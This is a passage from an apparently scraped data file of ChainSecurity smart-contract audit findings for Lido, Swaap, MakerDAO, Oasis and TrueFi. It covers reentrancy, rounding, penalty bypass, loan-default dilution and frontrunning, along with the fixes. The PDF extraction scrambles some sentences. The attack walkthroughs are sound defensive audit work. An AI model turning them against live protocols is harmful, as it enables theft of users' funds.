_keysCount is checked to be less than UINT64_MAX. Note that the check for _fromIndex < UINT64_MAX is now redundant, as the sum of two unsigned integers is always greater or equal than both summands (assuming no overflow occurs). Note also that the conversion uint256(_fromIndex) is redundant. _keysCount is checked to be non-zero in the _removeUnusedSigningKeys function, in order to not emit redundant events. The NodeOperatorsRegistry was modified so that all checks comparing the index to UINT64_MAX are now done with a strict inequality. StakingRouter.addModule was modified as follows: It was renamed to addStakingModule in . The _stakingModuleAddress is checked to be non-zero. The _name parameter is checked to be between 1 and 32 bytes in length. Acknowledged Regarding the missing check for signatures, Lido states Will be fixed in the next major protocol upgrade. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido-staking-router/"}, {"title": "6.10 Visibility Can Be Reduced", "body": " Visibility of certain functions can be restricted in order to reduce gas costs. The following functions' visibility could be changed from public to external: Lido: 1. getCurrentStakeLimit 2. getBeaconStat 3. getFee 4. getFeeDistribution StETH: 1. getTotalShares 2. sharesOf Lido - Staking Router - 21 Version2DesignLowVersion1CodeCorrected \f3. transferShares StakingRouter: 1. getKeysAllocation Lastly, MinFirstAllocationStrategy library to private instead of internal. it may make sense reduce to the allocateToBestCandidate function of the The visibility of the functions was changed as suggested, except for the allocateToBestCandidate function. Lido - Staking Router - 22 \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido-staking-router/"}, {"title": "7.1 Discrepancy in Event Argument", "body": " a is called, Lido.submit When the _emitTransferAfterMintingShares function. This event contains a field which corresponds to the amount of ETH used to mint the respective amount of shares the user received. It is likely, however, that the amount is not exactly the same as the one sent by the user since the calculation of the shares amount to be minted can incur some rounding errors. For example, assume that a user submits 1234 wei, the total number of shares is 10 and pooled ether amount is 1000 wei. Then the user will mint 1234*10/1000 = 12 shares and the argument in the Transfer event will be 1200. Transfer emitted event by is ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido-staking-router/"}, {"title": "7.2 Misleading Calculation in ", "body": " _deleteSigningKey The _deleteSigningKey function deletes a (key, signature) pair from storage by writing zeroes to the bytes where they were stored. function _deleteSigningKey(uint256 _nodeOperatorId, uint256 _keyIndex) internal { uint256 offset = _signingKeyOffset(_nodeOperatorId, _keyIndex); for (uint256 i = 0; i < (PUBKEY_LENGTH + SIGNATURE_LENGTH) / 32 + 1; ++i) { assembly { sstore(add(offset, i), 0) } } } of number The expression (PUBKEY_LENGTH + SIGNATURE_LENGTH) / 32 + 1. However, this calculation relies on the fact that PUBKEY_LENGTH is not divisible by 32, and that SIGNATURE_LENGTH is. The calculation is misleading as it is not correct in the general case, where the lengths could assume any value. calculated zeroed bytes the out be to in is ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido-staking-router/"}, {"title": "7.3 Staking Modules Can DOS", "body": " The staking router makes external calls to the staking modules in several situations. For example, when making a deposit, it calls into all active staking modules to query their validator key stats. This means that a revert by any single module prevents the staking router from depositing to any other module. While the modules are trusted in general, it should be ensured in their development that these calls do not propagate the potential denial of service attack one level deeper, e.g. to the users running validators in the case of some distributed validator technology. Lido - Staking Router - 23 NoteVersion1NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido-staking-router/"}, {"title": "5.1 Performance Updates Can Be Sandwiched", "body": " The performance safeguard validates that the performance based on a unit of pool token does not deviate too much from the old performance after a swap. Updating the performance is permissionless when a perfUpdateInterval (within 0.5 to 1.5 days) has elapsed. If the allowed performance deviation is x%, one can bundle a performance update within two swaps to achieve around 2x% deviation, that performance can at most change x% within one which breaks perfUpdateInterval. the assumption CS-SLSGP-008 Swaap Labs - SafeguardPool - 12 SecurityDesignCorrectnessCriticalHighMediumLowRiskAcceptedCorrectnessLowVersion1RiskAccepted \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings Reentrancy via Vault -Severity Findings Incorrect Rounding Directions Incorrect Target Deviation Computation Missing Sanity Checks at Pool Initialization -Severity Findings Balance Based Penalty Can Be Manipulated Price Feed Data Validity Checks ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-finance-safeguardpool/"}, {"title": "6.1 Reentrancy via Vault", "body": " 0 1 3 2 CS-SLSGP-012 The Balancer V2 Vault has a known vulnerability to read-only-reentrancy: https://forum.balancer.fi/t/reentrancy-vulnerability-scope-expanded/4345. The balances during onJoin/onExit are updated after new shares are minted/burned. And before balance update, the Vault performs a call to external address with the remaining ETH. The following scenario is possible: A large LP awaits the time when the updatePerformance() can be called. LP exits in a balanced way(no updatePerformance triggered yet) and triggers the reentrancy from the Vault. In the reentrant call the pool.updatePerformance() is executed. The reentrancy guard on Pool won't be triggered, because it is the Vault that makes the reentrant call. The performance but Vault.getPoolTokens() will return not yet updated balances. Thus the performance will be too high. values. PT will snapshots wrong burned, already be This reentrancy is due to the way Vault contract deals with the ETH that is sent along with swap/join/exit call using _handleRemawiningEth function. As a result, wrong performances will be saved for a given performance update period. This will cause DoS in case of exit (performances are too high), or disable the performance based checks for the whole period. This applies to getPoolPerformance function as well. Swaap Labs - SafeguardPool - 13 CriticalHighCodeCorrectedMediumCodeCorrectedCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedDesignHighVersion1CodeCorrected \f The reentrancy issue has been fixed in the Vault contract, where the update of the balances is now done before the token transfers. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-finance-safeguardpool/"}, {"title": "6.2 Incorrect Rounding Directions", "body": " Most computations in SafeguardPool are based on 18 decimals for higher precision. However, rounding errors are not properly handled in some cases, where it may round towards the advantage of users instead of the pool. In calcJoinSwapAmounts(), the swapAmountIn is computed using divDown. Then the rOpt is computed from this value: CS-SLSGP-002 uint256 swapAmountIn = num.divDown(denom); uint256 swapAmountOut = swapAmountIn.divDown(quoteAmountInPerOut); function calcJoinSwapROpt(uint256 excessTokenBalance, uint256 excessTokenAmountIn, uint256 swapAmountIn ) internal pure returns (uint256) { uint256 num = excessTokenAmountIn.sub(swapAmountIn); uint256 denom = excessTokenBalance.add(swapAmountIn); return num.divDown(denom); } However, the num will be computed as excessTokenAmountIn.sub(swapAmountIn), thus it will be effectively rounded up. This might result in minting more shares than intended. A similar case exits in calcExitSwapAmounts() though it is unclear which rOpt is larger. In addition, in _exitBPTInForExactTokensOut() the bptAmountOut is rounded down. This lowers the amount of shares the user needs to burn. As a result, the pool tokens can lose value with time due to exit conditions that do not favor remaining pool token holders. uint256 bptAmountOut = totalSupply().mulDown(rOpt); In another note, _getOnChainAmountInPerOut() and calcBalanceDeviation round down the computations. This may make the fairPricingSafeguard and balance based checks slightly weaker. However, in other places, it is unclear if the computation should round up or down (e.g. computation of currentPerformance in _updatePerformance()). The calcJoinSwapROpt() now subs 1 wei from numerator and adds 1 wei to denominator. This effectively lowers the number of tokens minted during the deposit by a small amount, that always guarantees that the balances per PT values won't decrease during balanced join. The calcExitSwapROpt() now adds 1 wei to numerator and subs 1 wei from denominator. This effectively increases the number of tokens burned during the withdrawal by a small amount, that always guarantees that the balances per PT values won't decrease during balanced exit. The _exitBPTInForExactTokensOut() has been fixed to use mulUp instead of mulDown to compute the amount of pool tokens burned upon a withdrawal. Swaap Labs - SafeguardPool - 14 SecurityMediumVersion1CodeCorrected \fThe rounding in calcBalanceDeviation can effectively be accounted by the quote generating front-end. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-finance-safeguardpool/"}, {"title": "6.3 Incorrect Target Deviation Computation", "body": " The balance safeguard validates that the HODL balance of the output token after a swap does not deviate too much from it before the swap (target deviation). This is computed in the wrong way in _getPerfAndTargetDev(), where the numerator should be newBalanceOutPerPT instead of newBalanceOut. The target deviation should be in %, however, this wrongly computed value represents the amount of pool tokens. CS-SLSGP-003 The deviation newBalancePerPTOut.divDown(hodlBalancePerPTOut). target now is correctly computed as ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-finance-safeguardpool/"}, {"title": "6.4 Missing Sanity Checks at Pool Initialization", "body": " There is no sanity check on the user's input token amounts amountsIn as well as the initial HODL balance at the pool initialization. In case a user initializes the pool with 0 amountsIn, the pool becomes useless irreversibly: CS-SLSGP-004 Anyone can mint any amount of pool tokens by depositing 0 liquidity. No swap is possible as there is no liquidity. A user can also disable swaps by initializing the pool with a small amountsIn, where the HODL balance rounds down to 0. Assuming there is a pool of two tokens with 18 decimals, due to the following behavior of the _onInitializePool: User initializes with amountsIn = [1 wei, 1 wei]. After scaleUp, amountsIn = [1 wei, 1 wei] because the tokens already have 18 decimals. the HODL balance is computed as 1 * 10^18 / (100 * 10^18), which rounds down to 0. If both hold balances are 0, the _updatePerformace and _getPerfAndTargetDev will revert due to the division by 0. A check was added in the _onInitializePool() function, that requires both amountsIn[0] and amountsIn[1] to be at least _MIN_INITIAL_BALANCE = 1e8. This way, issues due to division by zero will be avoided. Swaap Labs - SafeguardPool - 15 CorrectnessMediumVersion1CodeCorrectedSecurityMediumVersion1CodeCorrected \f6.5 Balance Based Penalty Can Be Manipulated In case the current pool balance is less than the pool balance at the quote time, a penalty will be enforced on the quote price during a swap. However, the balance of the pool can be easily manipulated by Join or Exit. In case there is a balance based penalty, a user can bypass it by Just In Time (JIT) liquidity provision: CS-SLSGP-001 Join the pool to push the balance back to quote time. Swap without balance based penalty. Exit after the swap. By having a valid quote and doing join-swap-exit bundle, users can bring the state of the pool balances in a state, where other \"pending\" quotes are blocked by the balance based penalty. Thus, using join-swap-exit bundle user can: Bypass paying the balance based penalty fees Avoid the maxDeviation check. However, in join-swap-exit the user will only get fraction of the maxSwapAmount total swap value, due to the need to provide out token as an asset during join. A swap can also be front-run by a liquidity provider's exit, which aggravates the balance based penalty. This way an exit-swap-join, (swap is sandwiched by malicious LP) can: Revert the swap Enforce the higher balance penalties on the swap. This can be seen as a DoS attack, however it requires significant gas with no clear benefit for the attacker. Swaap Labs responded: The new balance based penalty also takes into consideration the balance change per PT as well as the balance change: penalty = max(balanceChange, balanceChangePerPT) * slippage Since joins and exits do not change the balances per PT, this check will not be bypassable by join-swap-exit bundle. Thus, swaps with quoted balances that differ too much from the onchain conditions will not be executable. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-finance-safeguardpool/"}, {"title": "6.6 Price Feed Data Validity Checks", "body": " SafeguardPool uses chainlink oracle to retrieve the price feed for tokens. However the checks in ChainlinkUtils.getLatestPrice are missing or not strong enough: CS-SLSGP-005 _ORACLE_TIMEOUT is a constant of 1.5 days which could be too large. The heartbeat of most datafeeds smaller: https://docs.chain.link/data-feeds/price-feeds/addresses#Ethereum%20Mainnet. Any round that is older than the Heartbeat cannot be considered fresh. This might happen due to potential ChainLink failures. much is Swaap Labs - SafeguardPool - 16 DesignLowVersion1CodeCorrectedSecurityLowVersion1CodeCorrected \f ChainLink getLatestRound returns roundId and answeredInRound. However, they are not inspected. In ChainLink OCR pricefeeds the roundId and answeredInRound are always equal. However, older versions of pricefeeds require validation, that the round data was not computed in an old roundId): https://docs.chain.link/data-feeds/historical-data#getrounddata-return-values. Please be aware of this and check for each deployed pool what pricefeed version is used. round(answeredInRound should than less not be Swaap Labs responded: Each oracle in a pool has its own maximum timeout (=< 1.5 days) which is immutable and defined at deployment time. The roundId and answeredInRound are checked . ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-finance-safeguardpool/"}, {"title": "6.7 Events Indexed Params", "body": " The quoteIndex in ISignatureSafeguard is not indexed. It functions as a random-order nonce for quote signatures. Querying on-chain information about which quote is exhausted is easier if this field is indexed. CS-SLSGP-013 event SwapSignatureValidated(bytes32 digest, uint256 quoteIndex); event AllowlistJoinSignatureValidated(bytes32 digest); Similarly, digest params in both events can be indexed. quoteIndex as well as digest of both events has been marked as indexed in the updated code. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-finance-safeguardpool/"}, {"title": "6.8 Outdated Dependency of Balancer Pool", "body": " Factory CS-SLSGP-011 One of SafeguardPool's dependency Balancer's BasePoolFactory has been updated in March where create2() found here: https://github.com/balancer/balancer-v2-monorepo/pull/2362 instead of create(). The request can be full merge is used Balancer dependency is updated. CREATE2 opcode with an extra salt parameter is now used to deploy the pools. Swaap Labs - SafeguardPool - 17 InformationalVersion1CodeCorrectedInformationalVersion1CodeCorrected \f6.9 Performance Safeguard Sensitivity The HODL balances are set on initializing pool, and during the updates they are multiplied by performance. This effectively fixes during the initialization the proportion of assets that are used for performance safeguard. If the price of assets changes significantly over time, the difference between balance0/balance1 and hodlBalance0/hodlBalance1 can cause significant sensitivity to price changes. In addition, this imbalance can be caused intentionally during the initialization. CS-SLSGP-007 For example: 1. Pool initialized with 1 Eth and 100k USD as assets. The hodlBalanceETH = 1, hodlBalanceUSD = 100k. Assume that BPT is always 1. At this time 1 ETH == 1000 USD. TLV = 101000 USD == holdTVL 2. Over time, with help of swap the balance of pool becomes: 50 ETH and 1000 USD, with 2000 USD as ETH price. TLV = 101000 USD. old hodlTVL = 1100 Since TVL does not change, the holdBalanes will not change as well. 3. Without any balance changes, if price of ETH becomes 1900 USD == 5% drop: TLV = 96k USD. hodlTVL = 101900. newTVL/hodlTVL = 0.942 > 5% drop Thus, due to the initial proportion of hold balances the hodl performance of the pool was affected more than the asset price. Also, note that the balances of tokens itself did not change between 2 and 3. Just the change of the oracle price can be enough to make swaps fail due to the performance safeguard. Swaap Labs have updated the code that the performance safeguard will be bypassed if a swap is rebalancing the current pool towards the hodl balance ratio. if (newBalancePerPTOut < hodlBalancePerPTOut || newBalancePerPTIn > hodlBalancePerPTIn) { _srequire( _getPerfFromBalancesPerPT(newBalancePerPTIn,newBalancePerPTOut, hodlBalancePerPTIn,hodlBalancePerPTOut,onChainAmountInPerOut ) >= _getMaxPerfDev(packedPoolParams), SwaapV2Errors.LOW_PERFORMANCE ); } Swaap Labs stated: The idea is to allow the rebalancing of assets even if we do not have good performance in order not to find the pool stuck with undesired asset ratios. Swaap Labs - SafeguardPool - 18 InformationalVersion1CodeCorrected \f7 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-finance-safeguardpool/"}, {"title": "7.1 Imbalanced Join Order", "body": " User can call _joinExactTokensInForBPTOut() to join the pool in an imbalanced way. There are two approaches to achieve the same imbalanced join: 1. excess tokens are swapped for limited tokens first, then a balanced join is executed. 2. a balanced join is executed first, then do a swap to achieve the same result. SafeguardPool takes the first approach. However, as the pool balance at swap time is smaller in approach 1 compared to approach 2, it could induce higher balance based penalty and consequently prevent a transition that actually benefits the system. CS-SLSGP-006 Acknowledged: Swaap Labs responded: We chose to keep this approach as it is easier to produce a quote for this kind of operation & it\u2019s more gas efficient and easier to check the post trade safeguards. In addition a user can separately swap and then join the pool even if we change the approach. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-finance-safeguardpool/"}, {"title": "7.2 Invalidation of Quotes", "body": " The signed quotes remain valid until they are either executed or reach their deadline. No functionality allows a specific quote to be invalidated. However, changing the signer will invalidate all previously signed quotes. In case the signer role holder is changed from Alice to Bob and then back to Alice, all the un-expired quotes Alice signed before will become valid again. These facts must be considered throughout the contract's lifespan. CS-SLSGP-009 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-finance-safeguardpool/"}, {"title": "7.3 Management Fees and Swap Safeguards", "body": " Relation The _claimManagementFees is called before any swap or join, but not during the swaps. This can affect the safeguard that rely on per PT values. E.g. if _claimManagementFees is called after a long period, the hodl balances per pt will drop, due to newly minted PT shares. Then, the safeguards can fail CS-SLSGP-010 Swaap Labs - SafeguardPool - 19 InformationalVersion1AcknowledgedInformationalVersion1InformationalVersion1 \funtil next snapshot of the hodl balances. Due to the low rate of management yearly fees (5%), this should not be a problem. Swaap Labs - SafeguardPool - 20 \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-finance-safeguardpool/"}, {"title": "8.1 Consistency of Input Arguments Scale", "body": " Most of the computations work with values of 18 decimals. Input amounts for tokens that have less than 18 decimals will be first scaled up by a scaling factor to reach 18 decimals. In SafeguardPool, some of the input argument amounts are expected to be already scaled up, while the others (mostly coming from Vault) are not. Examples of such differences: In _onInitializePool(), amountsIn in userData needs to be not upscaled. In _joinExactTokensInForBPTOut(), joinAmounts in userData needs to be already scaled up. In _exitBPTInForExactTokensOut(), exitAmounts in userData needs to be already scaled up. onSwap(), In quote.maxSwapAmount needs to be upscaled. SwapRequest.amount needs to be not upscaled, however Scaling the value off-chain is gas-efficient, but requires the correct input data generation. If directly submitting a transaction to the contract, users should be aware of which parameters should be scaled up and which should not. Swaap Labs - SafeguardPool - 21 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-finance-safeguardpool/"}, {"title": "5.1 Redundant External Calls", "body": " The function calculateTargetSupply() makes redundant calls to the interest strategy contract to get the variableRateSlope1 value. It would be more efficient if the return value of the first call is stored in memory, hence avoiding the second call. Similarly, the function exec() makes two external calls to get the total debt (from stableDebt and variableDebt), and then calls the calculateTargetSupply() which makes again the same external function calls. Acknowledged: Maker acknowledges: This function is only called by a keeper bot, and likely infrequently enough to not overly worry about gas savings. Will re-assess if exec() starts getting called a lot. MakerDAO - D3M - 9 DesignCorrectnessCriticalHighMediumLowAcknowledgedDesignLowVersion1Acknowledged \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings -Severity Findings ink Used as daiDebt 0 0 0 1 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-direct-deposit-module-d3m/"}, {"title": "6.1 ink Used as daiDebt", "body": " Function _unwind() contains following comment: // IMPORTANT: this function assumes Vat rate of this ilk will always be == 1 * RAY (no fees). This means the debt in art equals the amount in DAI. The value for daiDebt is queried as follows: if (mode == Mode.NORMAL) { // Normal mode or module just caged (no culled) // debt is obtained from CDP ink (or art which is the same) (daiDebt,) = vat.urns(ilk, address(this)); Note that the first return value is the ink while the second one is the art. Hence the ink and not the art is used as value for the debt in DAI. As documented, this requires that the rate for the collateral is 1. However, additionally it is required that the spot price of the collateral must always be 1. This is not fully documented. In Function reap the daiDebt is the art: (, uint256 daiDebt) = vat.urns(ilk, address(this)); The value for daiDebt in function _unwind is now based on the art of the CDP. MakerDAO - D3M - 10 CriticalHighMediumLowCodeCorrectedCorrectnessLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-direct-deposit-module-d3m/"}, {"title": "7.1 Possible Overflow for 2 ** 255", "body": " The functions _unwind(), exit(), cull() and quit() check if a conversion of a uint256 value to a negative int256 overflows: require(value <= 2 ** 255). Theoretically, if value == 2 ** 255 the overflow will happen twice, but the result matches the expected value in such cases. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-direct-deposit-module-d3m/"}, {"title": "7.2 Shutdown Vat and exit()", "body": " exit() does not explicitly check whether the Vat is not live. Technically this seems to be unnecessary as during normal operation only this contract can have a non-zero entry for this special gem. However given that it's so unlikely that the exit function is used and the dire consequences if for any other reason an account has a non-zero balance of this gem, it is worth considering adding the explicit check as a precautionary measure. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-direct-deposit-module-d3m/"}, {"title": "7.3 Shutdown of Vat", "body": " In case of a shutdown of the Vat, the ideal scenario for this module is that all its debt can be unwound in the first phase of the shutdown. Should this not be possible, e.g. because there was no sufficient liquidity in the Aave pool or no one called exec before MCD_END.debt() was set, the settlement of the remaining DAI holders gets complicated: In this phase of the settlement, users receive a share of all ilks. These shares are jointly worth one DAI for each DAI redeemed by the user. These shares will include the collateral share of this special ilk. For this ilk, special handling is necessary. However, after some steps, users have a Vat.gem balance which they can exit. For this special ilk no join adapter exists and users will have to use the exit() function of this contract and receive aDAI. Two scenarios can happen: This aDAI is worthless as there is no liquidity in the aDAI pool and users are unable to redeem their aDAI for DAI. This could happen because free DAI have been submitted in the shutdown process. During global settlement, however, the price of one aDAI was taken as 1 DAI. The overall consequence is that users receive less than one dollar worth of collaterals for 1 DAI \"cashed out\". There is remaining liquidity in the Aave pool and users can redeem their aDAI for DAI. Having received this new DAI, the user can now redeem this DAI, again receiving a share of all collaterals including aDAI again. Note that, as many ilks exist, in practice this will be a very small percentage overall. Hence users may do following workaround: MakerDAO - D3M - 11 NoteVersion1NoteVersion1NoteVersion1 \f1. Exit their share of the gem for this special ilk and receive aDAI first. 2. Convert this aDAI to DAI by withdrawing from the pool. 3. Redeeming this DAI. This increases the gem balance of the users for all ilks. 4. Only now exit the other gems. The aDAI received at this step may be forfeited as their value like is negligible and the user was able to redeem his DAI for collateral being worth close to 1 dollar. MakerDAO - D3M - 12 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-direct-deposit-module-d3m/"}, {"title": "6.1 Skim in _Free()", "body": " 0 0 0 3 For End.free() to be successful, the proxy's art must be zero. However, the following code of DssProxyActionsEnd._free() does not strictly enforce that. function _free( address end, uint256 cdp ) internal returns (uint256 ink) { bytes32 ilk = manager.ilks(cdp); address urn = manager.urns(cdp); uint256 art; (ink, art) = vat.urns(ilk, urn); // If CDP still has debt, it needs to be paid if (art > 0) { EndLike(end).skim(ilk, urn); (ink,) = vat.urns(ilk, urn); } // Approves the manager to transfer the position to the proxy's address in the vat if (vat.can(address(this), address(manager)) == 0) { vat.hope(address(manager)); } // Transfers position from CDP to the proxy address manager.quit(cdp, address(this)); // Frees the position and recovers the collateral in the vat registry EndLike(end).free(ilk); } First, in case that art is non-zero, end.skim() is executed on the urnproxy. Next, the position is transferred to the proxy. Note that the proxy could have non-zero art. Hence, the call end.free() which frees the collateral of its msg.sender and requires that art is zero could revert. MakerDAO - DSSProxyActions - 12 CriticalHighMediumLowCodeCorrectedCodeCorrectedCodeCorrectedDesignLowVersion1CodeCorrected \fNow, skim() is called for the proxy and after the CDP has been transferred from the urn. Thus, it is enforced that art will be zero. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dssproxyactions/"}, {"title": "6.2 Unused Function _sub()", "body": " The internal function _sub is never used. The unused function was removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dssproxyactions/"}, {"title": "6.3 Use Defined Constant", "body": " Contract Common defines: uint256 constant RAY = 10 ** 27; Instead of using the constant, function _toRad has this value hardcoded: function _toRad(uint256 wad) internal pure returns (uint256 rad) { rad = _mul(wad, 10 ** 27); } This function has been removed in the final version of the code reviewed. MakerDAO - DSSProxyActions - 13 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dssproxyactions/"}, {"title": "7.1 Dust Amount of DAI to Be Drawn Leads to", "body": " Revert There is a known issue in functions that use _getDrawDart(): In case the additional amount of DAI to be drawn leads to a dusty urn, the transaction reverts. This is a known edge case. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dssproxyactions/"}, {"title": "7.2 dai Shadowed", "body": " Contract Common defines the immutable dai. The internal functions _getDrawDart, _getWipeDart and _getWipeAllWad each define a local uint256 dai which consequently shadows the immutable. In the variables in the functions have been renamed. MakerDAO - DSSProxyActions - 14 NoteVersion1NoteVersion1Version2 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dssproxyactions/"}, {"title": "5.1 Unhandled Alternative Flashloan Providers", "body": " Currently the MultiplyProxyActions relies on the assumption that the lender will call onFlashLoan() and revert if the flashloan fails. However, EIP-3156 does not require flashLoan() to revert if it is unsuccessful. In any scenario where the flash loan fails but does not revert, the funds sent to the MultiplyProxyActions could remain in the contract (since it is possible that onFlashLoan() is not called) and can be accessed by anyone via direct call to the onFlashLoan(). In addition, only relying on the bool return value of flashLoan() is insufficient since returning true is also allowed in case of failures. The DssFlashmit contract reverts if onFlashLoan() fails. However, using another flashloan EIP-3156 lender contract can potentially lock the funds of the users. Risk accepted: Oazo Apps Limited plans on using FMM solely. Oazo Apps Limited - Multiply FMM extension - 10 DesignCorrectnessCriticalHighMediumLowRiskAcceptedDesignLowVersion1RiskAccepted \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings Incorrect Balance Check for Vault Incorrect Conversion to 18 Decimals -Severity Findings 0 0 2 0 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-fmm-extension/"}, {"title": "6.1 Incorrect Balance Check for Vault", "body": " Checking whether the MultiplyProxyActions contract holds enough funds has been modified to: require( cdpData.requiredDebt.add(cdpData.depositDai) >= IERC20(DAI).balanceOf(address(this)), \"requested and received amounts mismatch\" ); The check should ensure that the MultiplyProxyActions contract holds enough Dai for the operation on the vault. Thus, if less DAI than needed is available the code should revert while a surplus of DAI could be tolerated. However, the change proceeds with the execution if the balance is lower than the amount needed while it reverts if there is a surplus of DAI. The condition has been changed to <=. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-fmm-extension/"}, {"title": "6.2 Incorrect Conversion to 18 Decimals", "body": " An additional call to convertTo18() has been added compared to the codebase from the previous report. In _closeWithdrawCollateralSkipFL(), the following code is executed: cdpData.withdrawCollateral = convertTo18(cdpData.gemJoin, cdpData.withdrawCollateral); wipeAndFreeGem( addressRegistry.manager, cdpData.gemJoin, Oazo Apps Limited - Multiply FMM extension - 11 CriticalHighMediumCodeCorrectedCodeCorrectedLowCorrectnessMediumVersion1CodeCorrectedCorrectnessMediumVersion1CodeCorrected \f cdpData.cdpId, cdpData.requiredDebt, cdpData.withdrawCollateral ); wipeAndFreeGem() contains cdpData.withdrawCollateral: the following code where collateralDraw is equal to uint256 wadC = convertTo18(cdpData.gemJoin, collateralDraw); Thus, withdrawCollateral*10**(18-gem.decimals())*10**(18-gem.decimals()). that results in an incorrect amount. wadC will be Ultimately, The conversion to 18 decimals has been removed in _closeWithdrawCollateralSkipFL(). Oazo Apps Limited - Multiply FMM extension - 12 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-fmm-extension/"}, {"title": "5.1 Defaulted Loan Repayment", "body": " CS-TFCarbon-001 Loans can be marked to be repayable after default. In the case of a defaulted loan being repaid later, new investors of the equity tranche gain an unfair advantage over users that invested in the tranche before the loan has been marked as defaulted. This behavior can even be exploited by borrowers to regain some of the repaid loan by investing in the equity tranche after the default of their own loan. Consider the following example (assuming no fees and interest for simplification): A portfolio consists of 3 tranches and is in Live status with no active loans. Users have deposited 100 tokens to each tranche with no accrued interest (i.e., 1 share per token). A new loan of 99 tokens is issued to a borrower. After some time, the manager marks the loan as defaulted. The value of the equity tranche is now 1 token with a total supply of 100 shares. The borrower deposits 100 tokens into the equity tranche and receives 10,000 shares back. The borrower repays the loan, raising the equity tranche's value to 200 tokens. The borrower is now entitled to ~198 tokens in the tranche. TrueFi - Carbon - 11 SecurityDesignCorrectnessCriticalHighAcknowledgedMediumRiskAcceptedRiskAcceptedLowRiskAcceptedRiskAcceptedDesignHighVersion1Acknowledged \fIssue acknowledged: TrueFi replied: we are aware of this issue, but it's more of manager responsibility to pause deposits/withdrawals in case of risk in portfolio (so before marking loan as defaulted manager should first disable deposits/withdrawals) ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "5.2 DoS for Start", "body": " The manager can turn the system Live by calling StructuredPortfolio.start(). When this is done, the system checks if the ratios of the values stored in each tranche are appropriate. If it is not, the transaction reverts. This means that depositing or withdrawing an amount - if allowed - before the manager calls start can block the system from turning live since the ratios will not be correct. The depositController and withdrawController enforce a ceiling and a floor respectively but the issue can still arise. CS-TFCarbon-002 Risk accepted: TrueFi accepted the risk giving the following statement: Shouldn\u2019t occur, but in case managers want to be safe, withdrawals and deposits can be disabled before starting the portfolio. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/truefi-carbon/"}, {"title": "5.3 Loan Default Frontrunning", "body": " In Live state, and if withdrawals are enabled, lenders in any tranche can withdraw the full amount even if there are open loans that are using some of the available funds. Consider the following example: CS-TFCarbon-003 Each tranche has a value of 100 tokens. A loan for 150 tokens has been issued. Users of the junior tranche now withdraw all 100 tokens. The loan defaults resulting in the value of the senior tranche being reduced to 50. If the users in the junior tranche observe the call to StructuredPortfolio.markLoanAsDefaulted, they can frontrun it to redeem all of their tokens, while 